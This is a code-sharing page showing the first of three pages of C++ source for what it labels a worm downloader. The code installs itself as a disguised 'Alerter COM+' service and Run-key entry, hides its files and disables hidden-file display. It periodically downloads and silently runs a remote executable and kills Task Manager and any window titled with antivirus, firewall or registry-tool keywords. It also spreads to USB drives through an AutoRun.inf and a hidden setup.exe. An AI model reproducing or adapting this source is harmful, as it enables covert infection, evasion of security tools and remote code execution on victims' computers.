⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 webdown.cpp

📁 黑色技术蠕虫下载者的完整源码
💻 CPP
📖 第 1 页 / 共 3 页
字号:
	if (scm!=NULL)
	{
		svc=::CreateService(scm,"Alerter COM+","Alerter COM+",SERVICE_ALL_ACCESS,
				SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS,
				SERVICE_AUTO_START,SERVICE_ERROR_IGNORE,szSysDir,NULL,NULL,NULL,NULL,NULL);

		svc=::OpenService(scm,"Alerter COM+",SERVICE_START);
		if (svc!=NULL)
		{
			if(StartService(svc,0,NULL)==0)//已经存在该服务,就启动服务                        
			{
				dwErrorCode=GetLastError();
				if(dwErrorCode==ERROR_SERVICE_ALREADY_RUNNING)
				{
					CloseServiceHandle(scm);  
					CloseServiceHandle(svc);
					return true;
				}
			}
			while(QueryServiceStatus(svc,&service_status_ss)!=0)           
			{
				if(service_status_ss.dwCurrentState==SERVICE_START_PENDING)
				{
					Sleep(100);
				}
				else
				{
					break;
				}
			}
			CloseServiceHandle(svc);
		}
		CloseServiceHandle(scm);
	}
	else
		return false;

	return true;
}
/************************************************/
/************************************************/
int CreateMyWindow()
{
	MSG msg;
	WNDCLASS wndc;
	LPSTR szAppName="WebDown";
	wndc.style=0;
	wndc.lpfnWndProc=WndProc;
	wndc.cbClsExtra=0;
	wndc.cbWndExtra=0;
	wndc.hInstance=NULL;
	wndc.hIcon=NULL;
	wndc.hCursor=NULL;
	wndc.hbrBackground=(HBRUSH)(COLOR_WINDOW+1);
	wndc.lpszMenuName=NULL;
	wndc.lpszClassName=szAppName;
	RegisterClass(&wndc);
	hWnd=CreateWindow(szAppName,"Alerter COM+",
	WS_OVERLAPPEDWINDOW,
	CW_USEDEFAULT,CW_USEDEFAULT,
	CW_USEDEFAULT,CW_USEDEFAULT,
	NULL,NULL,NULL,NULL);
	ShowWindow(hWnd,SW_HIDE);
	UpdateWindow(hWnd);

	SendMessage(hWnd,WM_DEVICECHANGE,0,0);//检测有没有插入设备消息
	
	while(GetMessage(&msg,NULL,0,0))
	{
			TranslateMessage(&msg);
			DispatchMessage(&msg);
	}
	return 1;
}

BOOL Register()
{
	long  ret = 0;
	HKEY  hKEY;
	char  chCurPath[MAX_PATH];
	char  chSysPath[MAX_PATH];
	char  lpNewFileName1[MAX_PATH];
	char  lpNewFileName2[MAX_PATH];
	LPSTR lpCurFileName;
	DWORD dwType = REG_SZ;
	DWORD dwSize = MAX_PATH;
	char lpRegPath[256] = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";

	::GetSystemDirectory(chSysPath, dwSize);
	::GetModuleFileName(NULL, chCurPath, dwSize);
	
	//拷贝文件
	lpCurFileName = chCurPath;
	sprintf(lpNewFileName1, "%s\\internt.exe", chSysPath);
	SetFileAttrib(chSysPath);
	ret = CopyFile(lpCurFileName, lpNewFileName1, FALSE);
	sprintf(lpNewFileName2, "%s\\progmon.exe", chSysPath);
	SetFileAttrib(chSysPath);
	ret = CopyFile(lpCurFileName, lpNewFileName2, FALSE);
	//打开注册表键值
	ret = RegOpenKeyEx(HKEY_LOCAL_MACHINE, lpRegPath, 0, KEY_WRITE, &hKEY);
	if(ret != ERROR_SUCCESS)
	{ 
		RegCloseKey(hKEY);
		return FALSE;
	}

	//设置注册表键值
	ret = RegSetValueEx(hKEY, "Internt", NULL, dwType, 
		(const unsigned char*)lpNewFileName1, dwSize);

	ret = RegSetValueEx(hKEY, "Program file", NULL, dwType, 
		(const unsigned char*)lpNewFileName2, dwSize);

	RegCloseKey(hKEY);

	//-----------------------
	DWORD dwData=0x00000000;
	char lpRegPath2[256] = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\Folder\\Hidden\\SHOWALL";
	ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,lpRegPath2,0,KEY_READ|KEY_WRITE,&hKEY);
	if(ret != ERROR_SUCCESS)
	{ 
		RegCloseKey(hKEY);
		return FALSE;
	}	
	RegSetValueEx(hKEY,"CheckedValue",0,REG_DWORD,(LPBYTE)&dwData,sizeof(DWORD));
	RegCloseKey(hKEY);

	return TRUE;
}


///************************************************
bool GetDownFileDate(char Url[],char Date[])
{
	HMODULE hDll;
	LPVOID hInternet,hUrlHandle; 
	char buf[9];
	DWORD dwFlags;
	
	hDll = LoadLibrary("wininet.dll");
	if(hDll)
	{
		typedef LPVOID ( WINAPI * pInternetOpen ) (LPCTSTR ,DWORD ,LPCTSTR ,LPCTSTR ,DWORD );
		typedef LPVOID ( WINAPI * pInternetOpenUrl ) ( LPVOID ,LPCTSTR ,LPCTSTR ,DWORD ,DWORD ,DWORD);
		typedef BOOL ( WINAPI * pInternetCloseHandle ) ( LPVOID );
		typedef BOOL ( WINAPI * pInternetReadFile ) (LPVOID ,LPVOID ,DWORD ,LPDWORD) ;
		pInternetOpen InternetOpen=NULL;
		pInternetOpenUrl InternetOpenUrl=NULL;
		pInternetCloseHandle InternetCloseHandle=NULL;
		pInternetReadFile InternetReadFile=NULL;
		InternetOpen = ( pInternetOpen ) GetProcAddress( hDll, "InternetOpenA" );
		InternetOpenUrl = (pInternetOpenUrl ) GetProcAddress ( hDll, "InternetOpenUrlA");
		InternetCloseHandle = (pInternetCloseHandle) GetProcAddress (hDll,"InternetCloseHandle");
		InternetReadFile = (pInternetReadFile) GetProcAddress(hDll,"InternetReadFile");
		
		hInternet = InternetOpen("Alerter COM+",0, NULL, NULL, 0);
		if (hInternet != NULL)
		{
			hUrlHandle = InternetOpenUrl(hInternet, Url, NULL, 0, 0x04000000, 0);
			if (hUrlHandle!= NULL)
			{
				memset(buf,0,9);
				InternetReadFile(hUrlHandle, buf,8, &dwFlags);
				InternetCloseHandle(hUrlHandle);
				hUrlHandle = NULL;
			}
			InternetCloseHandle(hInternet);
			hInternet = NULL;
		}
		FreeLibrary(hDll);
		strcpy(Date,buf);
		return true;
	}
	else
		return false;
}
void DownFiles(char Url[])
{
	HMODULE hDll;
	LPVOID hInternet,hUrlHandle; 
	char buf[100],test[101];
	DWORD dwFlags,dwSize;
	
	hDll = LoadLibrary("wininet.dll");
	if(hDll)
	{
		typedef LPVOID ( WINAPI * pInternetOpen ) (LPCTSTR ,DWORD ,LPCTSTR ,LPCTSTR ,DWORD );
		typedef LPVOID ( WINAPI * pInternetOpenUrl ) ( LPVOID ,LPCTSTR ,LPCTSTR ,DWORD ,DWORD ,DWORD);
		typedef BOOL ( WINAPI * pInternetCloseHandle ) ( LPVOID );
		typedef BOOL ( WINAPI * pInternetReadFile ) (LPVOID ,LPVOID ,DWORD ,LPDWORD) ;
		pInternetOpen InternetOpen=NULL;
		pInternetOpenUrl InternetOpenUrl=NULL;
		pInternetCloseHandle InternetCloseHandle=NULL;
		pInternetReadFile InternetReadFile=NULL;
		InternetOpen = ( pInternetOpen ) GetProcAddress( hDll, "InternetOpenA" );
		InternetOpenUrl = (pInternetOpenUrl ) GetProcAddress ( hDll, "InternetOpenUrlA");
		InternetCloseHandle = (pInternetCloseHandle) GetProcAddress (hDll,"InternetCloseHandle");
		InternetReadFile = (pInternetReadFile) GetProcAddress(hDll,"InternetReadFile");
		
		hInternet = InternetOpen("Alerter COM+",0, NULL, NULL, 0);
		if (hInternet != NULL)
		{
			hUrlHandle = InternetOpenUrl(hInternet, Url, NULL, 0, 0x04000000, 0);
			if (hUrlHandle!= NULL)
			{
				memset(buf,0,100);
				InternetReadFile(hUrlHandle, buf,8, &dwSize);//先读取日期
				do
				{
					memset(buf,0,100);
					if (!InternetReadFile(hUrlHandle, buf,100, &dwSize))
					{
						break;
					}
					if (dwSize<100)
						break;  // Condition of dwSize=0 indicate EOF. Stop.
					else
					{
						memset(test,0,101);
						if(strstr(buf,"|")!=NULL)
						{
							strncpy(test,buf,strcspn(buf,"|"));
						}
						else
						{
							strncpy(test,buf,100);
						}
						//MessageBox(NULL,test,NULL,MB_OK);
						DownExec(test);
					}
					Sleep(1000);
				}while (TRUE);
				InternetCloseHandle(hUrlHandle);
				hUrlHandle = NULL;
			}
			InternetCloseHandle(hInternet);
			hInternet = NULL;
		}
		FreeLibrary(hDll);
	}
}

void DownExec(char url[])
{
	char SysDirBuff[256], ArpFile[256];
	memset(ArpFile, 0, 256);
	::GetSystemDirectory(SysDirBuff,sizeof(SysDirBuff));
	sprintf(ArpFile, "%s\\down.exe", SysDirBuff);

	URLDownloadToFile(0, url, ArpFile, 0, 0);
	   
    WinExec(ArpFile, SW_HIDE);

}


//*************************************************
//*************************************************
LRESULT CALLBACK WndProc(HWND hWnd,UINT message,WPARAM wParam,LPARAM lParam) 
{ 
	switch(message) 
	{ 
	case WM_CREATE:
		SetTimer(hWnd,1,1000,NULL); //设置一个1号定时器,时间间隔为1秒。  
		SetTimer(hWnd,2,modify_data.WaitTime*60*1000,NULL); //设置一个2号定时器,时间间隔为20分钟。
		break;
	case WM_TIMER: 
		{ 		
			if(wParam==1) //1号定时器处理,关闭杀毒窗口
			{
				if (!modify_data.IsAnti)
					break;
				
				//设置注册表
				//if (modify_data.IsReg)
				{
					Register();
				}
				
				char hstr[MAX_PATH]; 
				char str[MAX_PATH]; 
				
				POINT CurPoint; 
				HWND hCurrent,hParent; 			
				GetCursorPos(&CurPoint); 
				hCurrent=WindowFromPoint(CurPoint); //取得鼠标所在的窗口句柄 
				hParent=hCurrent; 	
				while(GetParent(hParent)!=NULL) 
					hParent=GetParent(hParent); //h为最上层的窗口句柄 
				
				//测试是否有windows 任务管理器打开了。若有,则杀死! 
				if(FindWindow(NULL,"Windows 任务管理器")!=NULL)
					PostMessage(FindWindow(NULL,"Windows 任务管理器"),WM_DESTROY,0,0); 
				
				//hCurrent为鼠标所在的窗口句柄。h为鼠标所在的窗口最高层的窗口句柄. 
				GetWindowText(hParent,str,MAX_PATH); //快速的测查是否有杀毒或者有用来结束该进程的工具在运行。if(true)KILL YOU! 
				GetWindowText(hCurrent,hstr,MAX_PATH); //快速的测查是否有杀毒或者有用来结束该进程的工具在运行。if(true)KILL YOU! 
				if((strstr(str,"安全卫士") || 
					strstr(str,"扫描") ||
					strstr(str,"专杀") || 
					strstr(str,"注册表") ||
					strstr(str,"Process") ||
					strstr(str,"进程") ||
					strstr(str,"毒") || 
					strstr(str,"木马") || 
					strstr(str,"防御") || 
					strstr(str,"防火墙") || 
					strstr(hstr,"病毒")|| 
					strstr(hstr,"检测")||
					strstr(hstr,"Firewall")||
					strstr(hstr,"virus") ||
					strstr(hstr,"anti")|| 
					strstr(hstr,"金山")|| 
					strstr(hstr,"江民")|| 
					strstr(hstr,"卡巴斯基")|| 
					strstr(hstr,"worm")||
					strstr(hstr,"杀毒")) 
					&& hCurrent)
				{//多搞几次,以防有漏网之鱼
					PostMessage(hCurrent,WM_DESTROY,0,0); //给鼠标所在的窗口发送WM_DESTROY消息。推毁窗口 
					PostMessage(hParent,WM_CLOSE,0,0); //给鼠标所在的父窗口发送WM_CLOSE消息。关闭窗口 
					PostMessage(hCurrent,WM_CLOSE,0,0); //给鼠标所在的父窗口发送WM_CLOSE消息。关闭窗口 
					PostMessage(hParent,WM_DESTROY,0,0); //给鼠标所在的窗口发送WM_DESTROY消息。推毁窗口 
				} 
			}
			else if(wParam==2) //2号定时器处理,下载文件并运行
			{
				if(GetDownFileDate(modify_data.DownFile,DownFileDate2))//可以下载
				{
					if (strncmp(DownFileDate1,DownFileDate2,8)!=0)//下载列表时间不一样
					{//表示需要下载文件
						//DownFiles(modify_data.DownFile);
						DownExec(modify_data.DownFile);
						strcpy(DownFileDate1,DownFileDate2);
					}	
				}
			}
		}
		break;
	case WM_DEVICECHANGE://USB设备消息
		if(modify_data.IsUpan)
			OnDeviceChange(hWnd,wParam,lParam);
		break;
	case WM_CLOSE: 
		return FALSE; //不允许关闭该程序。 
	case WM_DESTROY: 
		return FALSE; //不能推毁该程序。
	default:
		return DefWindowProc(hWnd,message,wParam,lParam);
	}
	return 0;
}

 
//--------------Begin U盘传播----------------------------
BOOL CreateAutoRunFile(char*name,char *path)
{
	FILE *out;
	out=fopen(path,"w+");
	if(out)
	{
		fprintf(out,"[AutoRun]\r\n");
	//	fprintf(out,"open=%s\r\n",name);
		fprintf(out,"shell\open=打开(&O)\r\n",name);
		fprintf(out,"shell\open\Command=%s\r\n",name);
		fprintf(out,"shell\open\Default=1\r\n",name);
		fprintf(out,"shell\explore=资源管理器(&X)\r\n",name);
		fprintf(out,"shell\\explore\\command=%s\r\n",name);
		fclose(out);
		return TRUE;
	}
	else
		return FALSE;
}

char FirstDriveFromMask(ULONG unitmask)
{
	char i;
	for (i = 0; i < 26; ++i)
	{
		if (unitmask & 0x1)//看该驱动器的状态是否发生了变化
			break;
		unitmask = unitmask >> 1;
	}
	return (i + 'A');
}

BOOL SetFileAttrib(char *path)
{
	return SetFileAttributes(path,FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);
}

BOOL CopyToUAndSet(char *U)
{
	char This_File[256];
	memset(This_File,0,sizeof(This_File));
	::GetSystemDirectory(This_File,sizeof(This_File));
	strcat(This_File,"\\IME\\svchost.exe");

	char szPath[40];
	sprintf(szPath,"%c:\\setup.exe",U[0]);//得到指向U盘的完整目录
	char szAutoFile[40];
	sprintf(szAutoFile,"%c:\\AutoRun.inf",U[0]);
	if(CreateAutoRunFile("setup.exe",szAutoFile))
		SetFileAttrib(szAutoFile);
	if(!CopyFile(This_File,szPath,FALSE))
		return FALSE;
	return SetFileAttrib(szPath);
}

LRESULT OnDeviceChange(HWND hwnd,WPARAM wParam, LPARAM lParam)
{
	char U[4];
	PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam;
	switch(wParam)
	{
	case DBT_DEVICEARRIVAL: //插入
		if (lpdb ->dbch_devicetype == DBT_DEVTYP_VOLUME)
		{
			PDEV_BROADCAST_VOLUME lpdbv = (PDEV_BROADCAST_VOLUME)lpdb;
			U[0]=FirstDriveFromMask(lpdbv ->dbcv_unitmask);//得到u盘盘符
			CopyToUAndSet(U);//拷到u盘
		}
		break;
	case DBT_DEVICEREMOVECOMPLETE: //设备删除
		break;
	}
	return LRESULT();
}
//--------------End U盘传播----------------------------

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -